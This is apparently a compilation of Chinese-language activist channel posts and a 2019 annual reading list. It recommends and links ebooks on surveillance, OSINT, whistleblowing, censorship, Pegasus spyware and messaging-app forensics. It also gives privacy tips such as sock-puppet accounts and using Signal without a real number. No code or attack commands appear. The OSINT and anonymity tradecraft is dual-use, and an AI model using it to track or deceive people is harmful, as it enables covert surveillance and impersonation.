互联网令追踪监视和挖掘变得前所未有地容易 —— 在您挖掘政府间谍和网络水军的过程中他们也会随时意识到这点，并反过来跟踪你。

这其中谁的安全防护水平高，谁就是获胜者。

当然，匿名防护也是几乎所有任务的大前提；这就是为什么要强调虚拟机、尽可能避免移动端、并有效地分身 – 采取袜子木偶账户。

开源情报不会被禁止是因为，它的边界太大无法准确定义：从日常简单的搜索行为、到黑客攻击的基础策略，都属于开源情报；除非他们直接禁止搜索引擎，否则开源情报就是合法的。

关于如何制作袜子木偶账户，可以参见这里 – 未来还有更多深入性介

绍：《某些行动者，你需要一个袜子木偶》；关于分身的技巧，在这里：《分身术完整指南：妥善管理您的在线身份并获得安全的方法》。

再一次：技术不是最重要的，操作安全才是。

15/11/2019

「图」

「图」

上面这本书是今年的新书。如果您关心社交媒体对民主的影响，也许这里可以解释一些东西。

IYP有一个专栏“互联网媒介效应”，未来将发布一篇文章，关于电影《小丑》引发的一场令人大跌眼镜的在线舆论战，分析其背后的原因。其中会引述到这本书。

这本书将当前数字媒体多元化的根源追溯到了20世纪下半叶的两个发展：精英文化的衰落和数字媒体的兴起，并论述了互联网时代一系列矛盾的二分法……

特朗普主义及其由来，是其中一个标志性论点。

这本书的电子版在这里下载：https://t.me/iyouport/6459（不是自夸，我们的“互联网媒介效应”栏目中的内容已经涵盖了这本新书中超过一半的观点）

16/11/2019

大数据使政治消亡。这是一场看不见的政变，其目的是旨在清空民主的实质内容，仅仅只留下一个触摸不到的虚伪躯壳。剩下的，只有礼仪性的制度和由于“选举”而神圣化的约会……《国王们的晚宴》。

这篇文章中提到的那本书《To Save Everything, Click Here: The Folly of Technological Solutionism》可以在下面下载：https://t.me/iyouport/6462

「图」

「图」

19/11/2019

暴政就是一种让良心活不下去的政治制度和社会氛围。

下面即将上传的书是 Tom Mueller 今年的新书《Crisis of Conscience》”良心的危机”。

您已经在上面看到了关于为什么要上传这本书的回顾。是的，⚠中国正在暴力污染这一领域，有可能威胁到全球的良心事业。

透明度革命已经延续40年之久，直到2个月前，如果您搜索 “Whistleblower”，您将会看到大量信息，包括基金会、技术援助、法律援助、暗网的安全投递通道 .....等等详尽的内容。没错，透明度革命已经是一个非常成熟的跨国社区；

⚠然而，现在您再搜索 “Whistleblower”，您将首先看到来自中国的暴力污染。

中国当局偏偏要使用 Whistleblower 这个词，而不是中文的任何字词，它有着明确的目的。而且，为了加速推动这一污染，中国最近还推出了一部电影，就叫《吹哨人》汤唯主演，请注意，该片是作为 “爱国题材” 推出的。

这就是这场危机的关键之一—— 我们的良心的危机。

如果我们不能成功批驳这场暴力污染，如何对得起40年来所有为了说真话而出生入死的人们？

这场危机的关键之二是：高堡奇人。

中国的暴力污染恰逢全球谴责美国针对 Whistleblower 的全面而残酷的捕杀，这是民主的危机。在高堡奇人的对峙中，任何希望民主胜过威权的人都应该加入这场反抗，否则，威权正在赢过民主！

这就是为什么我们在两个月前首先强调这是非常糟糕的事。

您可以在我们的专栏中了解 “透明度革命”：https://www.iyouport.org/category/%e5%85%b3%e4%ba%8e%e9%80%8f%e6%98%8e%e5%ba%a6%e9%9d%a9%e5%91%bd/

《Crisis of Conscience: Whistleblowing in an Age of Fraud》这本书封面如上，您可以在这里下载：https://t.me/iyouport/6474

23/11/2019

「图」

「图」

一本新书发布，这本书是30多位作者共同撰写的，包括中国读者熟悉的艺术家艾未未。

Wikileaks 发布了一个视频 ：

IYP发布了这本书的电子版，在这里下载：https://t.me/iyouport/6538

编辑和作者名单：Tariq Ali (ed.);

Pamela Anderson,

Julian Assange,

Renata Avila,

Katrin Axelsson,

Franco “Bifo” Berardi,

Sally Burch,

Noam Chomsky,

Patrick Cockburn,

Naomi Colvin,

The Courage Foundation,

Mark Curtis,

Daniel Ellsberg,

Teresa Forcades i Vila,

Charles Glass,

Kevin Gosztola,

Serge Halimi,

Nozomi Hayase,

Chris Hedges,

Srećko Horvat,

Caitlin Johnstone,

Margaret Kimberley,

Geoffroy de Lagasnerie,

Lisa Longstaff,

Alan MacLeod,

Stefania Maurizi,

Craig Murray,

Fidel Narváez,

John C. O'Day,

John Pilger,

Jesselyn Radack,

Michael Ratner,

Angela Richter,

Geoffrey Robertson,

Jennifer Robinson,

Matt Taibbi,

Natalia Viana,

Ai Weiwei,

Vivienne Westwood,

Slavoj Žižek

24/11/2019

最近一些人又在讨论关于开放式组织的话题。或者准确说 “为什么中国社会难以组织起来”。

这是个老话题，但中国真的有这个空间，而且，已经实现。

开放式组织就是一群有共同目标的人自动结合在一起形成的；

形成组织其实很容易 —— 当你能提供人们需要的但你的对手（比如政府）不想给人们的东西时，你就能形成自己的组织。

举个最简单的例子。经济学人在中国被封锁，然而经济学人杂志在出版后的几个小时内你就能在中国的QQ上看到完整的电子版流传；还有那些被当局禁止的电影和游戏的种子，你总是能在社会某个角落里找到。这就是公民社会。

我们对古巴的采访正是在致力于反映这一努力：在那个没有互联网的国家里，甚至基本网络设备本地都不生产，但是，那里的民间活动家依旧有办法让人们看到《权力游戏》的最新一季。

活动家如何吸引支持？事实上就是这么简单。

反抗者如何战胜当权者？其实也是如此简单。

当权者一直在拼命地禁止和限制，他们也只会禁止和限制，这一切就是给活动家的机会。

活动家不是只会喊口号的人，你需要能让人们看到 “跟着你比跟着那些官僚精英更实惠” 的潜力。

古巴的自制“互联网”并不完美，就如我们在文章中分析过的；但是，它成功了。就如中国的海盗也尚不完美，但是有明显的潜力。

当人们翻墙困难时知道去搜 “机场”，而不是联系“著名民主派演讲者”以寻求帮助，后者应该思考这是为什么，而不是专心于抱怨 “为什么

组织不起来”。

在这里回顾哈瓦那的反抗小世界，希望能带来一些激励：《探索替代互联网和不寻常的网络形式: 在哈瓦那挑战恶劣的”互联网”生态》。

26/11/2019

最近听到了坏消息。

流行的端到端加密消息传递平台Wire已出售或移交给了一家美国公司。经过一周的审问，Wire终于承认他们已经正式成为了一家美国公司，Wire 接受了 Morpheus Ventures 以及其他投资者超过800万美元的风投。

⚠这件事在安全社区引起了轰动 —— 因为这有可能非常危险。

虽然Wire仍然是瑞士的，并遵守瑞士严格的隐私法。但是，今天，由于它拥有新的美国所有权，目前尚不清楚美国将对Wire数据拥有多少管辖权。

⚠这会令人不寒而栗，因为众所周知Wire会为每个用户存储未加密的元数据。

鉴于Wire现在是一家美国公司，并且与美国联邦当局签订了合作合同，这些政府机构现在是否有能力迫使Wire放弃用户的元数据？

⚠如果没有切实可信的回应，我们必须考虑在 “安全工具箱” 中对wire作出更改 – 加入警告。

Wire还悄悄地对其自己的隐私政策进行了调整。

前一个版本（2017年7月18日）表示：在法律要求时，它会共享用户数据。而现在，条款变成了：“必要”时他们将共享用户数据。

⚠必要是什么意思，对谁来说的必要？警察、间谍、股东或广告商？……“必要”一词是一个令人震惊的变化，因为“必要”是故意含糊的术语，可以想象用作对任何行为进行自我辩护的工具。

另一个危险信号、也是对安全防护来说更重要的一个危险信号是：Wire决定不向用户披露这项政策变更，当被问及原因时，Brøgger对此的反应轻描淡写。

在这之前的多年中，Wire已经为自己建立了可信赖的声誉，目前它依旧是开源的、加密的，技术角度基本可信的；暂时还无法准确说明下一步会有什么样的影响；但是，这一警告必须提出，这是对用户的安全负责的态度。

安全社区认为可行的替代品是 deltaChat：https://delta.chat/en/

只需要一个邮箱即可注册 —— 不要使用Gmail！不安全！

这可能不是完美的，但暂时只能这样 – 如果您不想要暴露自己的电话号码的话。

signal 当然是可信任的，但您需要做到不使用真实手机号。在这里看到方法：《如何在不必暴露真实电话号码的情况下使用 Signal》。

27/11/2019

一些异议人士（准确说是绝大多数）保持着一种奇怪的价值观：他们认为自己作为反叛者，其观点应该是特立独行的；这也许在某些方面不错，但是，⚠当它引申出来的时候就会遇到明显问题，即：受不了其他人（尤其是自己讨厌的人）转变思想变得与自己一致。

这非常糟糕。这种思考方式的结果就是，他们把自己被隔离在一个微小的回音室里，只有极少数人分享他们的确切世界观，他们只能在这个小范围内自我安慰。

而这正是统治者希望你做的事。

作为反抗者，应该追求的是让更多人开始思考并认同你的观点 —— 即便您鄙视职业媒体和记者，但当他们采取了你一直在“独自赞同”的方法时，也是你的荣耀，而不是丢脸。

就如作为企业媒体的纽约时报开始模仿 Wikileaks 的方法时，我们为他们鼓掌，这说明透明度革命正在成功引导媒体改革，

见：《美国媒体正在逐渐变成 Wikileaks 媒体改革成效已初步显现》。

偏执的特立独行正在阻碍异议人士的进步，小圈子让不同意见自我边缘化，这样下去的结果肯定不是我们所追求的变革。

IYP将在年底的长篇访谈中进一步解释这个问题，以及其他明显的问

题（包括香港话题）。

最近的好消息是，国际特赦组织终于承认了：**Google** 和 **Facebook** 为侵犯人权者。简单说：监视资本主义正在破坏民主。

一些异议人士对此表示轻蔑，“他们居然直到现在才承认这件事”……是啊，直到现在；但是，我们认为应该首先感激，因为终于有一家国际知名的人权组织愿意承认隐私权是基本人权了 —— IYP曾被关注中国的人权组织拒绝合作，对方给我们的理由就是 “隐私权不是人权”。这非常荒唐！

我们真心感谢国际特赦组织发布的这份报告，作为国际人权项目的主导者之一，国际特赦组织的报告将以相比以往最强大的力量引领 隐私权作为基本人权 的定义成为主流。

虽然这份报告有一点小问题，我们不是很认同它提出的最终方案，即：寻求政府监管作为扼制监视资本主义的力量。因为在我们看来，政权是监视资本主义体制的最大受益人之一，政府监管可能很难将广大公民的基本利益作为优先考虑事项。

我们会在未来的文章中单独解释这个问题。

接下来将上传国际特赦组织的这份报告；以及《监视谷》这本书。

⚠如果任何人还没有了解到这个互联网如何作为大规模监视工具的本质，可以在这里了解。

报告《监视巨人：谷歌和Facebook 如何威胁民主》，下载：https://t.me/iyouport/6553

这个互联网曾经是一种武器，现在仍然是武器。在这里回顾《监视谷》这本书的 中文版解读，下载这本书：https://t.me/iyouport/6555。

28/11/2019

一份报告和一本书的下载。

报告《For Their Eyes Only：The Commercialization of Digital Spying 》：https://t.me/iyouport/6561

书《China’s espionage dynasty : economic death by a thousand

cuts》：https://t.me/iyouport/6563

「图」

「图」

01/12/2019

不自由并非会完全来自审查 —— （第一本书）

没有中宣部就能获得完全的言论自由吗？不一定。

去年我们在独家消息中谈到过：官方审查不是限制自由的唯一方式；完全不需要审查也能达到几乎一样的限制自由的效果。

有读者对此表示质疑。这不奇怪，至少中国在49年之后还没有经历过没有中宣部的生活。

而我们的亲身经历足够证明这点—我们在三个不同的国家做过新闻工作，都是没有明确审查的“自由国家”，但结果，如您所想。这就是为什么我们抛弃了企业媒体的高薪工作，投入到纯粹自由的替代媒体建设中。

但 **没有中宣部的审查** 这本身是个有趣的议题：

- 究竟是什么令人们在没有明文禁令的情况下依旧自我约束？
- 偏见、集体思维、谎言的社会心理学、宣传性的需求和流量控……究竟哪个才是最致命的？

是否能理解这些问题将决定是否能解决这些问题。

⚠对于中国社会来说，这意味着：是否能抵挡进化专制的威胁。这很重要，因为进化专制和不自由民主已经越来越普遍，在这一全球性的滑坡中，谁能最先认清这一问题，谁就能避免同类的操纵和蒙骗。

在这里回顾我们的独家报告《北京的政治宣传模式发生改变，或正对冲中国异议的弱点》

今天将上传一本书，来自纽约时报畅销书作者和电台主持人 Mark R. Levin，他写出了美国媒体是如何失去自由的。其中很多观点都具有普遍适用性。

这本书是今年的新书（5月份出版的），于是它含有很多近期的案例；当然，讨论相关问题的书可以说铺天盖地，这几十年来都不少，比如 Lance Bennett 是该领域的经典之一；如果您曾经读过很多，就会发现，这一问题在近几十年来基本没什么改变 ……

也许，我们需要更创新的思考方式才能跟上不断勒紧的绳套。

下面上传这本书：《Unfreedom of the Press》

在这里下载：https://t.me/iyouport/6588

挖掘社交网络：分析来自 Facebook、Twitter、LinkedIn 和其他社交媒体网站的数据 —— 第二本书

如您所知，Facebook、Twitter 和 LinkedIn 产生了大量有价值的社交数据，如何分析和利用这些数据是很重要的技能。

☞这本书简洁实用，从中您将学习到如何将社交网络数据、分析技术和可视化结合起来，以帮助您在社交干草堆中找到最需要的内容、以及不存在于表面的有用信息。

它是 “开源情报” 在社交媒体方面的应用。

每个独立的章节都介绍了在网络的不同区域（包括博客和电子邮件）中挖掘数据的技术。您所需要做的只是具备一点编程背景和学习基础Python工具的意愿。

下面上传这本书：《Mining the Social Web: Analyzing Data from Facebook, Twitter, LinkedIn, and Other Social Media Sites》

在这里下载：https://t.me/iyouport/6591

「图」

「图」

04/12/2019GFW的中国和世界 ——

中国的GFW已发展成为世界上最复杂的在线审查系统。

即使随着中国互联网和在线业务的蓬勃发展，言论依然不断受到控制，异议也被消除，在官方共产党以外的任何组织尝试都很快会被压

制。

但是，防火墙的作用不仅限于中国本身。

随着中国越来越多地为全球富有野心的独裁者提供灵感，中国正试图扩散的审查制度已经日益威胁着全球互联网自由。

James Griffiths 对GFW做了一些研究，探究了GFW的思路在全球范围内的扩张，并得出结论：只能通过对网络自由提出根本性的新愿景才能抵消其影响。

这是今年的新书。

我们上传了这本书《The Great Firewall of China: How to Build and Control an Alternative Version of the Internet》您可以在这里下载：https://t.me/iyouport/6626

不要错过我们的调查报告《图解中国科技巨头 —— 半壁"高堡奇人"》。

「图」

「图」

06/12/2019

你在监狱里吗？——

这是一本明年即将出版的书，它讨论了一个有趣的新问题 —— 电子监控。也就是说，犯人不在监狱里，也能随时随地在 监狱状态 下。

你叫它啥都行，司法改革、刑法创新、监视扩张 ……等等。

这本书对电子监控的最新用途进行了系统性的、社会学的和心理学的探索。

随着监狱已经人满为患，电子监控已经被作为惩罚的另一种形式而提出，并且在整个欧洲，对该主题的兴趣正在不断增长。

当前的辩论和研究通常仅限于政策评估和有效性，而这本书则从社会科学的角度考察这种新型的惩罚产品的各个方面问题。

IYP 上传了这本书的电子版 —— ⚠请注意中国也使用这种东西，你们

都知道的，政治犯出狱后手腕上戴着那个监视器，就是。而且这东西还可以更高级，比如，植入体内的芯片 ……

下载：https://t.me/iyouport/6639

不要错过《**IYP优秀书籍年度汇总2019-在线下载免费阅读**》

广告

原文

IYP优秀书籍年度汇总2019-在线下载免费阅读 - iyouport

这里是IYP的口袋知识-小册子和电子书

【2019年12月26日存档】

【按】由于考虑到并非所有读者都能找到匿名手机号以注册 telegram，我们更新了所有书籍下载汇总的文章。我们将这些书籍复制到了 patreon，于是现在您可以看到两个下载链接，其中橙色的链接指向IYP的 telegram 频道；红色的下载链接指向 patreon。并且所有内容均设置为免费公开。patreon 允许您在不登录/无需注册的情况下下载附件。但是 patreon 有一个小缺点，它无法处理大于200MB的附件，所以小部分内容，比如Hakin9的教材，由于过大而无法上传。但大部分书籍都是可以直接在 patreon 下载的。希望这样做能为您带来方便。

一年过得很快！IYP在2019年更新上线的书籍您都读过了吗？如果您担心错过了重要的优秀书籍，现在可以在这里找到。

感谢伟大的读者帮助总结和整理 ❤

本列表只回顾重要的部分；我们的 **telegram** 频道明年将继续热闹，它在这里：**https://t.me/iyouport**

不要错过：

「图」

- 我们的年终访谈，关于香港和中国《”成为你想要在这个世界上看到的改变”：与IYP下午茶》
- 我们的年度频道汇总《IYP’s Telegram频道本年度部分内容更新汇总》
- 我们的年度书籍汇总《IYP优秀书籍年度汇总2019—在线下载免费阅读》

- 您可以如何利用 IYP 赚钱《IYP 的新10年：我们的2020什么样？》

下面就是您的书架 📚

1、《Permanent Record》

「图」

这个就不用写简介啦。请注意：不要读中文版！因为中文版删除了很多关键的内容，于是整体上会有误导性。

中国当局想要把斯诺登包装成民族主义炮药，追求自由的爱书人请阅读完整版，在这里下载：https://t.me/iyouport/6085

下载：https://www.patreon.com/posts/38128356

2、《Becoming Digital: Toward a Post-Internet Society》

「图」

新的帝国和新的反抗 ——

这本书分析了不同的技术的融合（物联网、云计算、大数据），以及“下一代互联网”的发展；作者指出，各国政府，尤其是美国和中国的政府，都支持这些技术寡头的活动，因为他们受益于通过无休止的监视来控制公民的机会，扩大军事力量（想想武器化无人机），以及他们认为这些公司对国家的经济增长至关重要。

在不同程度上，从电报到电话和广播的每一种新媒体技术都受到企业集中化、商业化和依赖政府军事情报部门的影响。

在每种情况下，公民都通过动员反抗取得了一定胜利，包括推动垄断企业的解体、价格和服务的监管、商业系统公共替代方案的发展、以及对通信资源军事化的限制。

新自由主义的兴起使许多公民倡议得以回归，其政策包括放松管制、私有化以及通过切实的反垄断执法缓解霸权的影响。

正如公民曾经一次又一次地反抗那样，如今人们需要再次组织起来以

反对当前的社交媒体制度，并严格按照公共利益来规范行业，尤其是，努力打造为公民可以抵制集中化霸权的公共替代品。

作者呼吁全球公民再一次联合起来抵制中美瓜分互联网的霸权。

您可以在这里看到对作者《Vincent Mosco 的访谈》，中文版，这是一篇很棒的对话。

这本书在这里下载：https://t.me/iyouport/6609

下载：https://www.patreon.com/posts/38137895

3、《美国陆军开源情报手册》

「图」

https://phibetaiota.net/wp-content/uploads/2016/09/Benavides-49-Page-Quick-Guide.pdf

https://phibetaiota.net/wp-content/uploads/2012/09/2016-OSINT-2oolKit-Benavides.pdf

美国陆军高级培训师 Ben Benavides 负责制定陆军使用的开源情报（OSINT）调查手册。就是您在上面看到的那2个文档。这些文档有一整套。

很高兴地告诉大家，这些手册中介绍的知识和技术工具在IYP的"OSINT"栏目中基本都有发布过中文版的详细介绍。

- ○ 甚至，我们提供的知识比您在线能找到的该领域其他渠道的介绍都更为全面，而且更加时效和有实用价值**。

除了陆军的开源情报培训手册之外，您还能在网上找到北约和特种部队使用的同类情报分析手册；但是，后两者都不够实用，而且其中大量知识已经过时（技术的更新非常快，就如你所知道的那样），虽然它们在结构和思考方式上仍然是最好的—思考方式是不会过时的东西。

⚠不夸张的说，目前您在网上能找到的切实有用的知识，不会超过**1%**；书籍市场也一样，只有那些过时的不再有效的 *侦查反侦查技术* 才会被印制成书籍出售。这就是为什么说您**不应该**将上网的直接获取视为技能提升方面的实质性收益。

但是，IYP一直正在致力于成为那1%—真正提供给您最新的、最具实用性的技术和技巧。

技术的变化（而不完全是发展）的速度是非常快的。就在几个月前，FB图谱搜索还是开源情报采集方面的瑞士军刀级利器，但现在，它已经被关闭；谷歌在近期也限制了图像情报采集的部分功能。

我们不知道接下来会发生什么，但是，我们可以保证，强大的开源技术社区从来不会因寡头企业的阻挠而失去斗志—新的解决方案始终会及时到来弥补缺陷。

IYP希望做到的就是，及时地以中文形式为您呈现最新的调查、侦查、以及反侦查防御能力。

幸运的是，依旧有很多技能至今没有被损伤，就如我们汇总过的 超级情报工具库 中所介绍的内容，您也能在美国陆军手册系列中看到其中部分内容：《🔭 超级情报收集工具库：开源验证和调查工具及使用方法》。

这样的技术工具汇总还将继续进行，不只有更新，还有专注于不同领域的最新挖掘（比如社交媒体、物联网设备、GoogleDorking 等等，很多）。都将出现在”开源情报”栏目中。

我们会不断强调：技术工具不是一切，它只是一个步骤；自动化工具可以提高您的调查速度，一些公认的开源情报挖掘”神器”的确很有效；⚠但真正能帮助您得到知识的是情报分析的思考方式

— 这就是为什么IYP经常演示调查过程，不论是《新疆火车站押送》调查、挖掘网络水军的信息战、揭露算法暴政、还是曝光政治旋转门， 这些调查过程都可以帮助您获得 **情报分析思考方式方面的见解**。思考方式是比技术工具更值钱的东西。

⚠尤其需要强调的是：开源情报并非仅仅用于侦查，它也用于反侦查，即 防御。只有当您深刻了解追踪者最常用的方式时，才能更好地避免被追踪。

就如Evans在分析中国深圳的 Knowlesys 公司时所强调的那样：当权者已经使用这种方式维稳互联网20年。

- ○ 在言论罪层出不穷的情况下，向大众普及开源情报作为防御的能力，不仅是必要的，而且是紧迫的**。

IYP不是国际开源情报社区唯一擅长中文的家伙，但是我们的心态是独树一帜的，那就是：始终为华语地区互联网用户的人身安全和民主推动服务。

在这里下载：https://t.me/iyouport/6191

下载：https://www.patreon.com/posts/38138056

4、《The Complete Linux Manual》

「图」

您可以在这里下载：https://t.me/iyouport/6198

5、《The Psychology of Information Security》

「图」

信息安全仅仅是技术问题吗？——

肯定不是。

信息安全通常被视为一门技术学科—防火墙、防毒软件、访问控制、和加密的世界；看起来像是一个不透明的且难以捉摸的学科。

但是，请随时记住那句话：⚠**最终的安全取决于人**，而不是技术；而且我们每个人都以我们自己视为理性的符合个人利益的方式行事，我们存在固有的心理弱点、容易被操纵、会判断失误，甚至彻头彻尾的不当行为。

这就是为什么说，*安全* 是一种心理学问题，而非仅仅是技术问题—如果不能科学地避免心理弱点，再牛B的安全防护软件恐怕也帮不上您。

这就是为什么我们要推荐这本书，它很好地讲述了这个问题，尤其是技巧方面，值得推荐。

此外，如果您更喜欢阅读中文的相关知识，可以参见IYP的 “社交工程” 栏目，其中提供的内容都比较实用 I promise。

您可以在这里下载：https://t.me/iyouport/6202

下载：https://www.patreon.com/posts/38138747

6、《我们已被和谐：生活在中国的监视国家》

「图」

这就不需要写简介了…… 书的标题就很明确。

您可以在这里下载：https://t.me/iyouport/6209

下载：https://www.patreon.com/posts/38138843

7、《Counterknowledge: how we surrendered to conspiracy theories, quack medicine, bogus science and fake history》

「图」

抵制信息战 ——

关于信息战大家再熟悉不过了（预告一下明年我们将发布一份近年来最好的全球信息战调查报告），虚假信息、污蔑、攻击、trolls、doxing、身份盗用、阴谋论 …… 正在摧毁全球民主。

未经证实的理论和虚假主张都是“反知识”的形式，并且在互联网的帮助下，它们正在造就全球范围内的误导性，它们操纵选举、伪造民意、复活并快速加强了专制主义政权的洗脑战术。

这本书讲述的不是信息战，而是一些科学的思考方式，帮助您抵制信息战的侵害。

您可以在这里下载：https://t.me/iyouport/6222

下载：https://www.patreon.com/posts/38138911

8、《Digital Image Forensics：Theory and Implementation》

「图」

视觉信息验证技术 ——

如今的人们都知道 *数字取证* 是什么东西了—— 因为已经有太多人因此被抓进监狱、被判刑。

但是，数字证据真的靠谱吗？任何人可以信任它作为剥夺一个人后半生的绝对依据吗？…… 这个问题在未来的IYP专栏中将做出详细解读；尤其是，提醒自我保护。

数字图像和视频已成为全世界执法取证的重要电子证据，也是大众了解事实的关键媒介，因为它们是从事发现场收集数字证据的最有效手段。

但是，随着造假技术的深化和大众化，“有图有真相”这一逻辑已经不再成立—即便有视频也可能不是真相。在这里看到 《当恶意者掌握技术：信息战的未来究竟有多可怕？》

因此，维持视觉证据的可信赖性和可靠性是当今数字世界的主要挑战。

对数字图像和视频的保真度和可靠性进行调查和维护的需求，已引起“数字多媒体取证”领域的兴起。

数字图像取证主要涉及两个广泛的问题：

（a）摄像机源识别

（b）图像伪造检测

摄像机源识别是一项研究，用于分析被使用的是哪种摄像设备和类型以捕获特定图像。

另一方面，图像伪造检测被用于识别给定图像是否被人为篡改。如果判断为伪造，它还会尝试对伪造进行还原。

图像伪造检测本质上是一种“盲”技术，也就是说，在检测过程中不存在原始（未修改的）图像。这是主要挑战之一，当然还有其他挑战。

这本书重点介绍数字图像取证技术的最新研究。

这本书中的每一章都通过插图和必要的背景清楚地讨论了该新兴领域在某些方面的最新进展，技术介绍比较详细。对公民识别造假的能力提升来说，也会有所帮助。

您可以在这里下载：https://t.me/iyouport/6236

下载：https://www.patreon.com/posts/38139020

9、《安全上网的实用技巧》

「图」

给普通人 ——

这是一个文档，给普通人的安全基础知识 —— 只要您还在使用任何电子设备，这些就是您需要知道的。

（IYP：我们在未来还会发布更多相关知识，因为我们的确对当前技术界的安全知识内容提供不满意，它们大多为那些有一定基础的人服务的，而忽略了广大的普通用户。）

- 不要错过我们曾经提供过的相关知识，见“技术防身栏目”
- 以及“给行动者的护身符和武器栏目”

您可以在这里下载这一文档：https://t.me/iyouport/6259

下载：https://www.patreon.com/posts/38139141

10、《Capital is Dead: Is This Something Worse?》

「图」

资本死了。然后呢？——

如你所知，中国的资本主义程度越来越高，这是一个线索，无所谓当局是否承认。

但如今的资本和其传统形式有所不同了。

信息赋予了新的统治阶级以强大的权力。通过信息的所有权和控制，这种新兴的阶级不仅支配着劳动力，而且支配着传统上人们所理解的资本。

⚠新的统治阶级利用信息的权力可以绕开任何劳工运动和社会运动为当权者制造的阻碍。

那么，我们可以怎么办？

这本书思想很激进，而且富有远见；它不仅提供了分析这个新世界的理论工具，而且提供改变它的方法。

您可以在这里下载：https://t.me/iyouport/6277

下载：https://www.patreon.com/posts/38139216

11、《关于 *安全* 的知识体系》

「图」

是文件哦 ——

这不是书，而是一个打包文件。它全面讲述了关于 *安全* 的知识。如果您是安全领域的热心人士，也许会喜欢这样的资料。

您可以在这里下载：https://t.me/iyouport/6685

下载：https://www.patreon.com/posts/38139301

12、《Open Source Intelligence Methods and Tools: A Practical Guide to Online Intelligence》

「图」

开源情报 ——

开源情报技术、方法和工具，其能力之强大，想必您已经有很多了解；IYP 有 “开源情报栏目”：其中提供的所有知识、工具和技巧，都是最新的。

上面这本书不仅包含了IYP曾经介绍过的诸多思考方式和情报分析技巧，还将通过两个子层（深网和暗网）提高您获取情报的技术能力。

这本书包括了许多开源情报资源，不论是公民社会、反抗者、情报机构、还是企业，都可以使用这些资源来了解趋势、识别风险并收集竞争对手的情报，从而可以做出更有效的决策。

您将发现黑客和渗透测试人员同样使用这些技术、方法和工具，在线收集有关特定目标的情报；以及如何将开源情报资源用于进行社会工

程攻击的目的—— 也就是我们强调过的，通过敌人的眼睛看自己，即 **对抗性思考方式**，是最好的防御。

熟悉开源情报的操作，您应该 至少 得到以下方法：

– 确定情报需求并利用各种工具和资源来改善组织中的数据收集、分析和决策；

– 使用开源情报资源，通过发现在线、公开和敏感的数据，并在外部攻击者发现数据之前将其隐藏，以保护个人和组织的安全；

– 收集有关商业竞争对手的情报，并预测未来的市场方向；

– 进行高级搜索、以挖掘各种社交媒体网站中隐藏的情报，追踪大型群体事件、热门话题、全球趋势、本地动态、挖掘信息战水军网络、揭露虚假信息……

– 了解组成 Internet 的不同层次，以及如何在深网暗网中进行情报搜索的方法。

您可以在这里下载这本书：https://t.me/iyouport/6304

下载：https://www.patreon.com/posts/38139434

13、《WhatsApp Forensics：Advanced acquisition and decryption techniques》

「图」

入侵加密通信 ——

主题和上面一样，但这份文档是：对 WhatsApp 进行数字取证的方法。简单说就是，对加密通信工具进行 “数字取证” —— 很可怕的。

⚠请注意：这其中还包括针对 Telegram Messenger、Facebook Messenger、Viber、Signal Messenger 等等（signal 似乎只能对安卓版破解），还有 Skype 和中国微信。

您可以在这里下载：https://t.me/iyouport/6315

下载：https://www.patreon.com/posts/38139551

14、《Red Flags: Why Xi’s China Is in Jeopardy》

「图」

在中国，最大的问题是什么 ——

以广场舞为主的社会结构能实现哪种伟大复兴？

老龄化对中国的压力越来越大。今年将是一个不祥的里程碑。

根据联合国预测，到2020年，中国公民的年龄中位数将超过美国人。然而，中国仍然贫穷得多，其中位收入仅为美国的四分之一。

人们一直在广泛讨论的担心—— 中国会在变得富裕之前就老掉了这个问题—— 已经不再是理论上的可能性，而是正在成为的现实。

根据联合国的预测，在未来25年内，中国65岁以上人口所占的百分比将从12%增至25%，翻一番以上。

相比之下，美国要达到同样的水平需要一个世纪，欧洲需要60多年。

就如这本书中所写到的：人口问题也许不是命运，中国有时间改变路线；“但是，坏消息是可用的时间正在迅速流逝” ……

希望看到详细解释吗？

您可以在这里下载这本书：https://t.me/iyouport/6377

下载：https://www.patreon.com/posts/38139619

15、《NSO’s Pegasus》

「图」

全世界最危险的家伙 ——

我们拿到了飞马 Pegasus 间谍软件的文件—— 从这里您可以深入了解该间谍软件的工作方式和思考逻辑。

这种间谍软件—— 以色列 NSO 生产的 Pegasus—— ⚠ 已经感染了45个国家，被用来监视和迫害异议人士，包括香港。

请注意，**并不确定** 中国大陆当局是否在本地使用了这种间谍软件，因为无法对中国做DNS缓存探测。在这里看到详细报告：《以色列 NSO 生产的间谍软件 Pegasus 在45个国家被用于监视和攻击异议人士及活动家—⚠ 亚洲有香港》。

沙特被肢解的异议人士 Khashoggi 就是被这个东西杀死的。

并且，以色列间谍软件公司出售这种监视技术和知识，在130个国家针对记者、异议人士和LGBT人群，

在这里看到详细报告：《以色列间谍软件公司出售监视技术和知识在130个国家针对记者、异议和LGBT人群》。

⚠人们一直认为移民和流亡能逃离本国的暴政和威胁。但如今不行了。以间谍软件和监视技术为主要武器的网络战正在全球展开，当权者可以无国界追踪异议人士和任何他们不喜欢的人。

所以，只有充分有效的自我保护和在此基础上的反抗才有希望解决问题，没有其他选项。

您可以在这里下载这份文档：https://t.me/iyouport/6379

下载：https://www.patreon.com/posts/38139678

16、《Under Surveillance Being Watched in Modern America》

「图」

老大哥正在扭曲你 ——

标题很明确。

从来没有人能知道得如此之多。

闭路电视摄像机、TSA扫描仪、NSA数据库、大数据营销商、掠食性无人机、“stop and frisk” 策略、Facebook算法暴政、隐藏的间谍软件、甚至是老式的爱管闲事的邻居 ……监视已变得无处不在，人们甚至开始视其为理所当然。

几乎没有人检查过不断受到监视的生活的意外后果，以及它如何改变我们对世界的看法和感觉。

自9/11以来，Randolph Lewis 在《 Under Surveillance》一书中以高度新颖的眼光审视了监视生活所带来的情感、道德和审美等方面的挑战。

这本书追踪了监视企业的兴起，凝视着娱乐性监视的阴暗面，例如 eBay 的在线指南“有趣的监视小工具”，等等；帮助人们了解在“控制社会”中生活的隐性成本 —— 在此，监督甚至被视为对治理和企业“至关重要”。

Under Surveillance 是为普通读者撰写的，它可以促使人们深入思考监视文化所造成的 “软组织损伤”。

- 《持续的监控如何损伤了你的大脑？》

您可以在这里下载这本书：https://t.me/iyouport/6392

下载：https://www.patreon.com/posts/38139912

17、《Propaganda and Information Warfare in the TwentyFirst Century》

「图」

高科技的信息战是什么样的？——

有关造假、去背景化、伪造背景化的研究和书籍已经非常多，其中这本是相对较全面的，推荐阅读。

事实上，深度造假对信息操作的威胁很小。

因为一般而言，人们并不是为了改变自己的想法而进行修辞的，而是为了与他人建立联盟。在寻求提供证据以支持自己的既有观点时，人们只是在寻找那些可以抹黑反对者观点的同时捍卫自己观点的示例。

